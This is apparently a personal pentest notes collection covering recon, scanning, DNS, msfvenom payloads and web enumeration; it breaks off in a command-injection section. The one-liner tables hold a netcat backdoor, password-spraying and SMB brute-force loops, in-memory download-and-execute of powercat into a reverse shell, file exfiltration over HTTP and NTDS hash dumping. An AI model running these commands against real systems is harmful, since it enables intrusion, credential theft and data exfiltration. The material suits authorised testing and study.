# Hacking Notes

These pages comprise my notes of all types of hacking, to include blue team, red team, and programming notes. Enjoy, let me know if you have questions by emailing me at m4lwhere\@protonmail.com!

## Pentesting Commandments

Thou shall keep copious records of all known passwords and usernames

Thou shall always try known creds on new systems

Thou shall always PrivEsc

Thou shall always find new credentials

Thou shall never impact operations

### Highlights

{% content-ref url="/pages/-MUJBnjf8dWNJggFbGoW" %}
[One-Liners](/one-liners)
{% endcontent-ref %}

{% content-ref url="/pages/-MUIqGsXC0EkPvY-ACqh" %}
[Examples and Quick Scripts](/programming/examples-and-quick-scripts)
{% endcontent-ref %}

{% content-ref url="/pages/-MUBkPPbqt62D6t3rAU9" %}
[Powershell](/offensive/microsoft-windows-exploits/powershell)
{% endcontent-ref %}

### Content Created

#### Previse Machine on HTB

{% embed url="<https://app.hackthebox.com/machines/373>" %}
Previse, retired machine on HTB
{% endembed %}


# One-Liners

Quick fast and speedy

## Linux

<table data-header-hidden><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td>Command</td><td>Purpose</td></tr><tr><td><code>GREENIE=haha; export GREENIE</code></td><td>Create an environment var, then export var to be available to other programs</td></tr><tr><td><code>PATH=$PATH:/root/haha</code></td><td>adds a folder to PATH while retaining it</td></tr><tr><td><code>sort | uniq -c | sort -n</code></td><td>Takes <code>stdin</code>, sorts it, finds out the count of each unique value, then sorts  by number</td></tr><tr><td><code>cat squid_access.log | sort -k 2 | head</code></td><td>Using the <code>sort -k</code> parameters sorts on the second colmun of the output</td></tr><tr><td><p><code>wc -l</code> [lines]</p><p><code>wc -c</code> [bytes]</p><p><code>wc -w</code> [words]</p></td><td>Count lines/bytes/words in a file or from <code>stdin</code></td></tr><tr><td><code>awk '{print $1,$4}'</code></td><td>Print characters 1 and 4 (not zero indexed) from <code>stdin</code></td></tr><tr><td><code>awk '{print $(NF-1)}'</code></td><td>print the 2nd to last column</td></tr><tr><td><code>awk '{print length, $1}'</code></td><td>print the length of each line and the contents</td></tr><tr><td><code>awk '{ sum += $1 } END { print sum }'</code></td><td>Takes the lines from a file/<code>stdin</code> and adds up the values, quick and dirty calculator in terminal</td></tr><tr><td><code>cat peptides.txt | while read line; do echo $line; done</code></td><td>read in lines from <code>peptides.txt</code>, then perform <code>echo</code> for each line. Useful to loop through commands for a list of items</td></tr><tr><td><code>cat users.txt | while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done</code></td><td>Password spraying using a <code>bash</code> loop</td></tr><tr><td><code>for i in {1..5}; do echo $i; done</code></td><td>Loops from 1 to 5 and echos for each value of <code>i</code></td></tr><tr><td><code>for i in {000..999}; do echo KEY-HAHA-$i; done</code></td><td>Creates a list of all values from <code>KEY-HAHA-000</code> to <code>KEY-HAHA-999</code></td></tr><tr><td><code>TF=$(mktemp -d)</code></td><td>Create a temporary directory (i.e. <code>/tmp/tmp.gq9gT5U3</code>) and assign as an environment variable</td></tr><tr><td><code>${#TF}</code></td><td>bash will return the amount of characters in the <code>TF</code> variable</td></tr><tr><td><code>sed 's/12/13/g'</code></td><td>Replace <code>12</code> with <code>13</code> found anywhere in stdin, will replace <code>1234</code> with <code>1334</code></td></tr><tr><td><code>sed -i.bak '/line to delete/d' *</code> </td><td>Delete a line of text for all files in a directory</td></tr><tr><td><code>xxd -p</code></td><td>Print the hex of <code>stdin</code> or a file only, no hexdump format</td></tr><tr><td><code>xxd -r</code></td><td>Interpret raw hex from <code>stdin</code>, can redirect to save the hex to a file</td></tr><tr><td><code>tr -d '\r' | tr -d '\n' | xxd -r -p</code> </td><td>Takes hex input, removes newlines, and places into a file</td></tr><tr><td><code>find / -user Matt 2>/dev/null</code></td><td>Find all files owned by <code>Matt</code> on the box, redirects <code>stderr</code> to null</td></tr><tr><td><code>find /etc -type f --name apache2.*</code></td><td>Find any file which begins with <code>apache2.*</code> in <code>/etc</code></td></tr><tr><td><code>grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"</code></td><td>grep with regex to match any valid IP address (yes it's ugly)</td></tr><tr><td><code>curl -d "param1=value&#x26;param2=value" https://example.com/resource.cgi</code></td><td>Send parameters with <code>curl</code></td></tr><tr><td><code>date -d @1286536308</code></td><td>convert an epoch timestamp to <code>date</code> output</td></tr><tr><td><code>mknod backpipe p; /bin/bash 0&#x3C;backpipe | nc -l -p 8080 1>backpipe</code></td><td>Create netcat backdoor without <code>-e</code> support. Generates a named pipe to funnel data</td></tr><tr><td><code>tar -zcvf files.tar.gz /var/log/apache2</code></td><td>Creates a <code>files.tar.gz</code> archive of all files in <code>/var/log/apache2</code></td></tr><tr><td><code>prips 10.10.10.0/24</code></td><td>Prints all IPs in a specific subnet</td></tr><tr><td><code>ifconfig eth0 169.254.0.1 netmask 255.255.0.0 broadcast 169.254.255.255</code></td><td>assign an IP from terminal</td></tr><tr><td><code>ifconfig eth0 down; ifconfig eth0 hw ether 00:11:22:33:44:55; ifconfig eth0 up</code></td><td>change MAC for interface</td></tr><tr><td><code>dhclient eth0</code></td><td>request DHCP address</td></tr><tr><td><code>dd if=./input.file of=./outfile</code></td><td>make a bit-by-bit copy of a file or system</td></tr><tr><td><code>sudo ln -s /usr/bin/python3 /usr/bin/python</code></td><td>create a symbolic link for python to run python3</td></tr><tr><td><p><code>sudo mkdir /mnt/new</code></p><p><code>mount /dev/sbd1 /mnt/new</code></p><p><code>umount /dev/sdb1</code></p></td><td>mount/unmount a filesystem</td></tr><tr><td><p>`</p><pre><code>sudo route add -net default gw 10.10.0.1 netmask 0.0.0.0 dev wlan0 metric 1
</code></pre></td><td>Add another default route with a higher metric to choose a different interface to access the Internet</td></tr><tr><td><code>sudo dhclient wlan0</code></td><td>Request a new DHCP lease on interface <code>wlan0</code></td></tr><tr><td><p></p><pre><code>openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc
</code></pre></td><td>encrypt a file with a password at the commandline</td></tr><tr><td><p></p><pre><code>openssl enc -aes-256-cbc -d -in file.txt.enc -out file.txt
</code></pre></td><td>decrypt a file using a password at the commandline</td></tr></tbody></table>

## Windows

| Command                                                                                                                                                                              | Purpose                                                                                                               |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| `get-childitem -hidden`                                                                                                                                                              | See all files in current dir                                                                                          |
| `gci -recurse C:\ \| % { select-string -path $_ -pattern password} 2>$null`                                                                                                          | search through all files in C:\ for the string `password`                                                             |
| `1..255 \| % {ping -n1 192.168.0.$_ \| sls ttl}`                                                                                                                                     | Counting loop for ping sweep                                                                                          |
| `(New-Object System.Net.Webclient).DownloadFile("http://10.1.1.1:8000/nc.exe","C:\nc.exe")`                                                                                          | Downloads a file to the `C:\` location                                                                                |
| `IEX(New-Object System.Net.Webclient).DownloadString('http://10.1.1.1:8000/powercat.ps1');powercat -c 10.1.1.1 -p 8001 -e powershell.exe`                                            | download a ps1 file and execute it in **MEMORY** only                                                                 |
| `certutil -hashfile ntds.dit md5`                                                                                                                                                    | Hash a file                                                                                                           |
| `certutil -encodehex ntds.dit ntds.hex`                                                                                                                                              | Encode a file as hex                                                                                                  |
| <p><code>certutil -encode test.jpg test.base64</code></p><p><code>certutil -decode test.base64 test.jpg</code></p>                                                                   | Encode and decode a file as base64                                                                                    |
| `@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\SERVERIP\IPC$ > NUL`       | Dirty looping command to gather a list of users and passwords to bruteforce a server on SMB                           |
| `Invoke-RestMethod -Uri http://10.10.14.28:8000/ -Method Post -InFile copy_cert9.db -UseDefaultCredentials`                                                                          | Sends the file to a server, catch the file on the other end                                                           |
| `iwr -uri http://10.10.14.27/SharpHound.ps1 -outfile SharpHound.ps1`                                                                                                                 | Download a file from another machine                                                                                  |
| `$x=""; while ($true) { $y=get-clipboard -raw; if ($x -ne $y) { write-host $y; $x=$y } }`                                                                                            | Powershell - monitors the clipboard and prints to the screen as items are placed on it (passwords!!)                  |
| <p><code>ntdsutil</code></p><p><code>activate instance ntds</code></p><p><code>ifm</code></p><p><code>create full C:\ntds</code></p><p><code>quit</code></p><p><code>quit</code></p> | Use built-in `ntdsutil` tool to obtain the `SYSTEM` registry and hive data as a backup, contains user hashes to crack |


# Exploit Workflow

How to work through a vulnerable host

#### Scan for vulnerabilities

We're searching for vulnerabilities in the host, application, or information leakage.

* [ ] NMAP scanning
* [ ] vhost enumeration
* [ ] Gobuster
* [ ] Ping scanning
* [ ] Google Dorking

#### Determine Versions

After gathering information about the host and applications, we need to determine what versions they have.

* [ ] Banner grabbing
* [ ] netcat / telnet
* [ ] Shodan and Censys
* [ ] Inspect headers
* [ ] Throw intentional errors

#### Find Exploits

Find exploits for identified versions and software on host

* [ ] searchsploit
* [ ] exploit-db
* [ ] Google
* [ ] Shodan

#### Craft Payload

Create malicious payload through identified exploit. Allows further exploitation through reverse shells or other similar exploitation routes.

* [ ] msfvenom
* [ ] searchsploit

#### Execute Payload

Execute the payload we made, there can be some very interesting and creative ways to achieve this!

* [ ] Invoke-Command
* [ ] runas&#x20;
* [ ] sudo

#### Establish Persistence

Ensure that our exploits will stay persistent on the host

* [ ] service takeovers
* [ ] cron jobs
* [ ] startup scripts

#### Escalate Privileges

Move from a foothold to root!

* [ ] get-process
* [ ] PowerUp.ps1
* [ ] LinEnum.sh
* [ ] LinPEAS
* [ ] WinPEAS
* [ ] suid/guid
* [ ] sudo -l

#### Exfiltrate Data

Steal the data on the host!

* [ ] Invoke-WebRequest
  * [ ] iwr
* [ ] curl
* [ ] Imagination!!


# Recon

Recon scripts and details

{% content-ref url="/pages/-MUPyOpcjf8olam17fZh" %}
[OSINT](/offensive/recon/osint)
{% endcontent-ref %}

{% content-ref url="/pages/-MUOSQjLnuTlNkv94okc" %}
[DNS](/offensive/recon/dns)
{% endcontent-ref %}

{% content-ref url="/pages/-MUBj2zDWO2JK9Gz3S9d" %}
[Layer 2 Config and Analysis](/offensive/recon/layer-2-config-and-analysis)
{% endcontent-ref %}

{% content-ref url="/pages/-MUBizKPwMP-sr0ecRjX" %}
[Port Scanning and Discovery](/offensive/recon/nmap)
{% endcontent-ref %}

{% content-ref url="/pages/-MV8hFDx0HM67VOnw6ju" %}
[Port Attacks](/offensive/recon/port-analysis)
{% endcontent-ref %}


# OSINT

The Internet knows pretty much everything, we just need to ask the right questions

## OSINT Framework

Gives a ton of excellent resources on gathering intel.

{% embed url="<https://osintframework.com/>" %}

## Shodan & Censys

Websites which are constantly scanning the Internet for available devices, performs banner grabbing and publicly publishes its findings. Great to see what attackers on the Internet will see for an IP you own.

{% embed url="<https://shodan.io>" %}

{% embed url="<https://censys.io>" %}

## Tesseract

This is an OCR package which is a CLI tool that understands 100+ languages. Very useful to gather quick text from images!

```bash
tesseract important.png stdout | egrep -v '^$'    # Search important.png for text, push to stdout, then remove blank lines
tesseract important.png stdout -psm 11 -l eng     # Set the PSM (Page Segmentation Mode) to 11, find as much text as possible in no particular order
for i in *.jpg; do tesseract $i stdout -psm 11 -l eng >> words.txt; done    # Dirty bash loop to gather text from all jpgs in dir
egrep -v '^$'    # Remove blank lines
fmt -1           # One word per line
strings -n4      # Require min 4 ASCII printable characters
egrep -i [a-z]   # Require at least one alphanumeric character
sort -u          # Unique entries only
```

## Google Dorks

GHDB contains a ton of premade dorks to find info.

{% embed url="<https://www.exploit-db.com/google-hacking-database>" %}

| Dork                                                        | Purpose                                                             |
| ----------------------------------------------------------- | ------------------------------------------------------------------- |
| `whales -bitcoin`                                           | searches for whales without any mention of bitcoin                  |
| `site:m4lwhere.org`                                         | filters to only the site m4lwhere.org                               |
| `cache:`                                                    | search the Google cache only                                        |
| <p><code>ext:pdf</code></p><p><code>filetype:pdf</code></p> | filters to the extension and filetype only                          |
| `intitle:"Index of "`                                       | Searches for any page that has "Index of " in the name              |
| `inurl:"*.cgi"`                                             | Searches for any page that ends in a ".cgi"                         |
| `site:m4lwhere.org intitle:"Index of" "last modified"`      | Searches for a directory listing of a page on the site m4lwhere.org |

## Certificate Transparency

CAs are required to publish all certificates issued to a public database. This can be useful to find servers that are internal to a LAN or are not Internet accessible.&#x20;

{% embed url="<https://ui.ctsearch.entrust.com/ui/ctsearchui>" %}

{% embed url="<https://transparencyreport.google.com/https/certificates?hl=en>" %}

## Credential Leaks

* <https://breachdirectory.org/>
* [https://leak-lookup.com/](https://leak-lookup.com/docs/search)
* <https://monitor.firefox.com/>

## Passive DNS

Occasionally there will be old or forgotten IPs for a site listed in passive DNS listings.

## Data Aggregators

[Hunter.io](http://hunter.io), compiles lists of org metadata, useful to identify email addressing schemes.

[haveibeenpwned.com](http://haveibeenpwned.com), lists of pwned email accounts.

[dehashed.com](http://dehashed.com), public data dumps available, requries paid access.

[scylla.sh](http://scylla.sh), indexed data dumps, free, currently down.

Public data dump forums

Torrents


# DNS

DNS analysis

## Third-Party Tools

Use these first, as it is completely passive and uses Internet infrastructure instead of your own machine.

* DNS Dumpster \[<https://dnsdumpster.com/>]
* Shodan \[<https://www.shodan.io/>]
* Censys \[<https://censys.io/>]

## Dig

Powerful linux based tool used to gather and analyze dns records

#### Gather All Records for a Domain

This command uses `192.168.1.1` to gather information

```
dig @192.168.1.1 sec542.org -t any
dig @192.168.1.1 sec560.org +norecursive    # Turns off recursion
dig @192.168.1.1 sec560.org +recursive      # Turns on recursion
```

#### Simplified PTR Lookups

Using the `-x` flag is the same as `dig 23.1.168.192.in-addr-arpa PTR`

```
dig -x 192.168.1.23
```

#### Attempt Full Zone Transfer

Very unlikely to work, most domains *should* not allow external zone transfers. More likely to happen from the inside though. Always attempt this anyway!

```
dig @<network dns server> m4lwhere.org -t axfr
dig @<network dns server> AXFR m4lwhere.org
```

## nslookup

We can use `nslookup` from a windows host to try and gather information as well.

```
C:\Users\m4lwhere> nslookup
> server 10.0.0.1
> set type=AXFR
> ls -d goblins.local
```

## DNSrecon

Multi-threaded DNS tool written in python 3

```bash
dnsrecon -d m4lwhere.org -n 8.8.8.8
```

## DNS Brute Forcing

Attempt to enumerate DNS hostnames by guessing subdomains.

#### Gobuster

Uses gobuster for DNS subdomain, is multi-threaded 😎

```
gobuster dns -d m4lwhere.org -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
```

#### Nmap Script

Lots of switches for this command

```
nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
```


# Domain Discovery

Check the following locations for additional domains:

* Certificate Transparency Reports
* Goole Cache
* Wordlists in DNS

### Discovery

&#x20;Imagine that a DNS CNAME is for a record which is a separate subdomain on the cloud service, can we search for that record as well! This may give us additional information about new assets.

```
// Below gives us a new potential set of hostnames, m4lwhereNotes
CNAME notes.m4lwhere.org -> m4lwhereNotes.gitbook.com
```

### Tools

inetdata - <https://github.com/hdm/inetdata>

DNSRecon.py - <https://github.com/darkoperator/dnsrecon>

```
./dnsrecon.py -t brt,crt -d m4lwhere.org -D hosts.txt --iw --threads 10
# Brute Force, Cert Transparency Logs (brt,crt)
# Target domain of m4lwhere.org
# -D is custom dictionary of hosts.txt
# --iw is to ignore the wildcard
```

ShuffleDNS

Uses `massdns` to shuffle DNS requests across many different providers, very quick!

```
shuffledns -d m4lwhere.org -w ./subdomains-5k.txt -r ./resolvers.txt --massdns /opt/bin/massdns -o ./out.txt
```

gobuster


# Layer 2 Config and Analysis

Investigate layer 2 activity on a local network

## Basics

See and analyze information from the interfaces

```bash
ip addr show     # List all IPs for all interfaces
ip route show    # Show all known routes
ip link set eth0 down    # Disable eth0 interface
ip link set eth0 up      # Enable eth0 interface
ip neigh         # List the ARP table
```

Make changes to the interfaces

```bash
ip addr add 192.168.1.1/24 dev eth0     # Configures an IP
ip route add default via 192.168.1.1    # Configure default route
```

## Layer 2 Scanning

Try to find other devices on the local network using ARP scanning and other neat tricks. These generally require `sudo` permissions because it is frame crafting.

```bash
sudo arp-scan -I eth0 192.168.0.0/24
sudo netdiscover -r 192.168.0.0/24
sudo nmap -sn 192.168.0.0/24

nbtscan -r 192.168.0.0/24     # Scanning with NetBIOS, more useful inside a domain

alive6 eth0            # Send IPv6 ICMP out an interface

```

Scapy is another great tool to craft frames on the wire :) 👷‍♂️


# Port Scanning and Discovery

I'm knocking on every door

## Nmap

Nmap is ubiquitous for scanning and rightfully so. Exceptionally powerful and tons of impressive backend scripts. Useful to determine potential services and versions of software running on a host.

```bash
nmap 192.168.1.1       # Scans 192.168.1.1 with top 100 ports
sudo nmap 192.168.1.1  # Can perform stealth scans
nmap 10.0.0.1 -p-      # Scans all TCP ports on 10.0.0.1 with verbose output
nmap 10.0.0.1 -p1-99   # Scans only TCP ports 1-99
nmap 10.0.0.1 -pU:53,U:110,T20-445    # Scans UDP ports 53 + 110, then TCP 20 thru 445
nmap 10.0.0.1 -iL targets.txt    # Scans all of the hosts in the targets.txt file
```

Straightforward, quick, and easy way to determine a large amount of info on an IP

```bash
sudo nmap 10.0.0.1 -vv -A    # Scans top 100 ports, attempt OS Detection, Versions, and Tracert, very verbose
```

Nmap scripts have some really interesting capabiltiies

```bash
locate *.nse       # Find all nmap scripting files on the host
nmap 10.0.0.1 -sC  # Run default scripts 
nmap --script-updatedb    # Update the script database
```

#### Scan Types

| Switch        | Description                                                                     |
| ------------- | ------------------------------------------------------------------------------- |
| `-sn`         | <mark style="color:red;">Probe only, host discovery and no port scanning</mark> |
| `-sS`         | SYN scan (aka stealth, does not establish 3-way handshake)                      |
| `-sT`         | TCP connect scan (full 3-way connection)                                        |
| `-sU`         | UDP scan                                                                        |
| `-sV`         | Version scan                                                                    |
| `-O`          | OS Detection                                                                    |
| `--scanflags` | Set a custom list of TCP flags using `URGACKPSHRSTSYNFIN` in any order          |

#### Probing Options

| Switch | Description                                                                                                    |
| ------ | -------------------------------------------------------------------------------------------------------------- |
| `-Pn`  | Don't ICMP probe, assume all targets are up. Useful if target is known to be on the network, but blocking ICMP |
| `-PB`  | Default probe (TCP 80, 445, & ICMP)                                                                            |
| `-PE`  | ICMP Echo Request                                                                                              |
| `-PP`  | ICMP Timestamp Request                                                                                         |
| `-PM`  | ICMP Netmask Request                                                                                           |

#### Timing Options

| Switch | Description                                                                               |
| ------ | ----------------------------------------------------------------------------------------- |
| `-T0`  | **Paranoid**: very slow, potential IDS evasion                                            |
| `-T1`  | **Sneaky**: Slow, IDS evasion again                                                       |
| `-T2`  | **Polite**: Slows down to consume less bandwidth, runs about 10 times slower than default |
| `-T3`  | **Normal**: Default value, dynamic timing model based on target responsiveness            |
| `-T4`  | **Aggressive**: Assumes a fast and reliable network                                       |
| `-T5`  | **Insane**: Very aggressive, likely to miss open ports and may overwhelm targets          |

Most of this info gathered from SANS cheat sheet <https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/>

While the scan is running, can view additional information about the scan with the buttons below:

| Button            | Meaning                  |
| ----------------- | ------------------------ |
| `p`               | Turn on packet tracing   |
| `P` \[Uppercase!] | Turn off packet tracing  |
| `v`               | Increase verbosity       |
| `V` \[Uppercase!] | decrease verbosity       |
| `d`               | Increase debugging level |
| `D` \[Uppercase!] | decrease debugging level |

## Masscan

Masscan is capable of asynchronous transmission, which is a fancy way of saying that it doesnt have to wait for replies when sending out probes. Wicked fast scanning!

```bash
masscan 10.11.0.0/16 -p443    # Scans the entire subnet for TCP 443
masscan 10.11.0.0/16 -p22-25  # Scans subnet for TCP 22, 23, 24, & 25
masscan 10.11.0.0/16 ‐‐top-ports 100    # Nmap's top 100 ports
```

Options can be found with the `--echo` switch. Default scanning rate is 100 pkts/sec, which is slow. Increase the rate with the `--rate` switch. Typically, 15,000 pkts/sec is a safe limit.

```bash
masscan 10.11.0.0/16 ‐‐top-ports 100 ––rate 10000
masscan 10.0.0.1/32 -p0-65535 --rate 10000    # Scan all ports on a host

masscan 45.33.32.156 -p 0-65535 --rate 1000     # Slower rate when scanning over the Internet
masscan 45.33.32.156 -p U:0-65535 --rate 1000     # UDP scanning over the Internet
masscan 45.33.32.156 -p0-65535,U:0-65535 --rate 1000     # Scan UDP and TCP at the same time!
```

We can also gather information from banners, and even spoof the source IP.

```
--banner                # For "supported protocols"
-source-ip 10.1.1.2     # To change the source
```

Info gathered from Daniel Miessler, <https://danielmiessler.com/study/masscan/>

## Netcat

Can use netcat to run as a scanner if necessary, gets information back if a port is open or not.

```bash
echo "" | nc -nvw2 10.10.1.2 20-80
```

## Tcpdump

Useful to watch scanning while it occurs on tcpdump, to help validate correct scanning and potential issues.

```bash
sudo tcpdump -w - | tee file.pcap | tcpdump -r -        # Allows pcap to be printed to screen and saved at the same time
```

## Gobuster

Gobuster can be used to enumerate vhosts, dns, directories, and S3 buckets. Requires many different subcommands to work properly.

### DNS

DNS mode looks for subdomains. `-d` is domain, `-w` is wordlist, `--wildcard` ignores wildcards, and `-r` specifies a resolver.

```
gobuster dns -d m4lwhere.org -w ./wordlist.txt --wildcard -r 8.8.8.8
```

### Directory

A more "classic" use of the program, where forced browsing is used to try and uncover hidden files/folders.

```
gobuster dir -u https://m4lwhere.org/ -w ./wordlist.txt -q -n -e 
```

### S3 Buckets

We can try to identify S3 buckets now. The wordlist of bucket names does NOT need to be a FQDN, as the tool can append to the bucket name as needed. A "pattern" can be used as well, this replaces `{GOBUSTER}` with the wordlist.&#x20;

The "patterns" file can contain items such as `{GOBUSTER}-dev`, `{GOBUSTER}-01`, `{GOBUSTER}-backup` and more.

```
gobuster s3 -w list_of_buckets.txt
gobuster s3 -w list_of_buckets.txt -p patterns.txt
```

## EyeWitness

EyeWitness is an exceptional tool to help quickly identify and display potentially vulnerable systems. Imagine having over 3,000 responding systems on a network, how do you know which ones are vulnerable?&#x20;

EyeWiteness makes this easy by grabbing screenshots of web services and saving them into an HTML report. This allows an analyst to view and scroll through the screenshots, making it easier to quickly identify potentially vulnerable systems.

The workflow should involve `masscan -> nmap for services -> eyewitness for info`.

```
python3 EyeWitness.py --web -f urls.txt --prepend-https
```


# Port Attacks

SNMP

```bash
nmap -vv -p 161 -sU 192.168.6.2 --script=snmp-info
nmap -p 161 -sU --script snmp-brute --script-args snmp-brute.communitiesdb=./SecLists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.6.2
nmap -p 161 -sU --script snmp-interfaces --script-args creds.snmp=Secret 192.168.6.2
nmap -p 161 -sU --script snmp-netstat --script-args creds.snmp=Secret 192.168.6.2
nmap -p 161 -sU --script snmp-processes --script-args creds.snmp=Secret 192.168.6.2

```


# Link it all together

Below takes a list of hostnames and runs each through gobuster to try and identify additional URLs or routes.

```
for i in $(cat ./hosts.txt); \ 
do echo "[+] Working on $i"; \ 
sed -e "s/\///" ./rails-routes-5k.txt | \ 
gobuster dir -q -n -e -u $i -o ./urls-$i.txt -a "$UA" -t 11 -w - ; \ 
done
```


# Payloads


# MSFVenom

Generate msfvenom payloads

```bash
msfvenom -p [payload] -f [format] LHOST=[your ip] LPORT=[your listener port]
msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.30 -f exe -o notavirus.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.39 LPORT=8081 -f raw > new.php
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=9090 -e x86/shikata_ga_nai -i 8 -f c > shell.c

# Read all options for a payload
msfvenom -p linux/x86/exec --list-options

DefenderCheck.exe .\mimikatz.exe
```

We can get advanced to disassemble the raw payload and ghostwrite 👻

```bash
ruby disassemble.rb payload.raw > payload.asm

# Editing the asm for fun and profit…]
ruby peencode.rb payload.asm -o payload.exe
```

Windows Defender is a formidable adversary. We can use things such as DefenderCheck.exe to bypass checks

```bash
DefenderCheck.exe .\mimikatz.exe
```


# Reverse Shells

Work in Progress


# Websites

Anything and Everything

## Methodology

Rough outline of actions to take when evaluating the security of a website.

![Methodology and Flow](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MUBcWDIntFMCfIaMka5%2F-MUOvXb9rV6AwBklJXka%2F-MUOvtnBw9g_FjcPPESo%2Fweb%20app%20pentesting%20flowchart.png?alt=media\&token=c093fe46-5b85-4eb0-940f-c8cca7ea0cb0)

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/stable/>" %}


# Enumeration

Find information before we attack

We need to find out more info before attacking! Usually there's a ton of great info hidden in a site. Always check all sent and returned headers when analyzing a web app!

```bash
curl -is -X OPTIONS m4lwhere.org    # Find all supported options for an HTTP Server
curl -s --head m4lwhere.org | grep -i server    # Find out what server info is provided by the server
curl -d "param1=value&param2=value" https://m4lwhere.org/resource.cgi    # Send parameters with curl

# Below: Test all available HTTP methods for a site
for i in GET HEAD POST PUT DELETE TRACE OPTIONS; do echo "====Trying $i method===="; curl -X $i https://m4lwhere.org --head; done
```

## Spidering

Spidering through a website can make offline analysis super easy and great. Programs like `wget` and `cewl` are great for the command line, Burp and ZAP can automate spidering from the GUI.

Spider the site once as an *authenticated user*, and then attempt to reach the same pages *without authentication*. Determine if insecure direct object reference exists!

```bash
wget -r -P /tmp --no-check-certificate https://m4lwhere.org    # Manual spidering of site using wget, saves to local disk
wget -e robots=off    # Will spider items in robots.txt, without will ignore it
export https_proxy=https://127.0.0.1:8080    # Sets the proxy to a Burp instance running, useful to spider all info into Burp as well

cewl https://m4lwhere.org    # Gather a unique list of all words on a page, spiders to linked pages
cewl -d 3 -m 5 -w words.txt https://m4lwhere.org    # Depth of 3 pages, words min 5 chars long, output to file words.txt
cewl -d 5 -m 3 -w wordlist --with-numbers https://m4lwhere.org    # Depth of 5, min 3 char words, includes words with numbers in them!
```

## Fuzzing

`ffuf` is a tool which is exceptionally fast to enumerate a host.

```bash
# Enumerate files on website
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://horizontall.htb/FUZZ -e .html,.php,.txt

# Enumerate subdomains
ffuf -w subdomains.txt -u http://website.com/ -H "Host: FUZZ.website.com" -mc 200
```

Replace normal values with exploits or garbage data to identify vulnerabilities. Need to FUZZ EVERYTHING! Includes Headers, parameters, payloads. Search for changes in baseline requests, different bytes or content. Useful with python `re` library or something. Check SecLists \[<https://github.com/danielmiessler/seclists>] for fuzzing sources and payloads.

```bash
wfuzz -z file,/usr/share/wordlists/wfuzz/general/big.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
```

### Vhost Enumeration

With Virtual Hosts, we are searching for additional web servers which may be present on this host.

```
ffuf -H "Host: FUZZ.goblins.local" -H "User-Agent: Vhost Finder" -c -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -u http://10.0.0.1
```

Username harvesting searches for valid users for a webapp. Utilize login forms to find if there's differences between `good username/badpass` and `bad username/badpass`. Side channel attacks may reveal good usernames also, check timing for a known good username vs a bad username. A bad username may be returned instantly, where a good username may be hashed by the system, and a few milliseconds slower.

* [ ] SQL Injection
* [ ] XSS
* [ ] Password Spraying
* [ ] Directory Traversal
* [ ] LFI
* [ ] RFI

## Identify Components

Plugins such as Wappalyzer and Shodan makes this very easy!

{% tabs %}
{% tab title="Web Server" %}
Apache, IIS, NGINX, Python?

Identified by port scans, default web pages, and fingerprinting tools. May display configuration information.&#x20;
{% endtab %}

{% tab title="Application Frameworks" %}
Spring, ASP.NET, Django, Symfony

Identified by default pages, vuln scans, config files, admin pages, and fingerprinting tools
{% endtab %}

{% tab title="CMS" %}
WordPress, Drupal, Joomla, SharePoint

Default web pages, config files
{% endtab %}

{% tab title="Databases" %}
MySQL,  Microsoft SQL, Oracle, Postgres, MongoDB

Usually found in detailed application errors, may leak information about the backend database
{% endtab %}

{% tab title="Other Software" %}
SSH, RDP, FTP, SMB

Other vulnerable or interesting applications available on other ports of the server
{% endtab %}
{% endtabs %}

#### Check list

* [ ] Is the site on 80, 443, or some different port?
* [ ] Are there any vhosts?
  * [ ] Check HTTPS cert for other potential servers
* [ ] Check `robots.txt` for exclusions
* [ ] Read the HTML source for comments or hidden pages
* [ ] Try separate request methods when interacting
  * [ ] GET instead of POST for an interaction
* [ ] Brute force directories with gobuster
  * [ ] If 403, try bruteforcing PAST those directories
* [ ] Find parameters, test in order
  * [ ] Command Injection
  * [ ] SQLi
  * [ ] noSQLi
  * [ ] XXE
* [ ] Fuzz EVERYTHING!
  * [ ] Headers
  * [ ] Cookies
  * [ ] POST parameters&#x20;
  * [ ] GET parameters&#x20;
  * [ ] PUT payloads
  * [ ] ALL INPUTS
* [ ] Check `Accepted:` headers to see if new data types are served
  * [ ] Client side for SENDING DATA
  * [ ] Cliente side for RECIEVING DATA
* [ ] Check for differences in good username/badpass and bad username/badpass

## References

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/README.html>" %}
Information Gathering - OWASP
{% endembed %}


# Injection/LFI

Command and Database 😍

## Command Injection

Some functions on a site may actually be running an OS command under the hood. Blind vs visible shows if there's a specific error or problem. We will want to read a world-readable file to determine if the injection was successful.

```bash
/etc/passwd                 # Linux world-readable
C:\Windows\win.ini          # Windows world-readable
ping -c 4 m4lwhere.org      # Ping a server I own, determine if blind injection worked
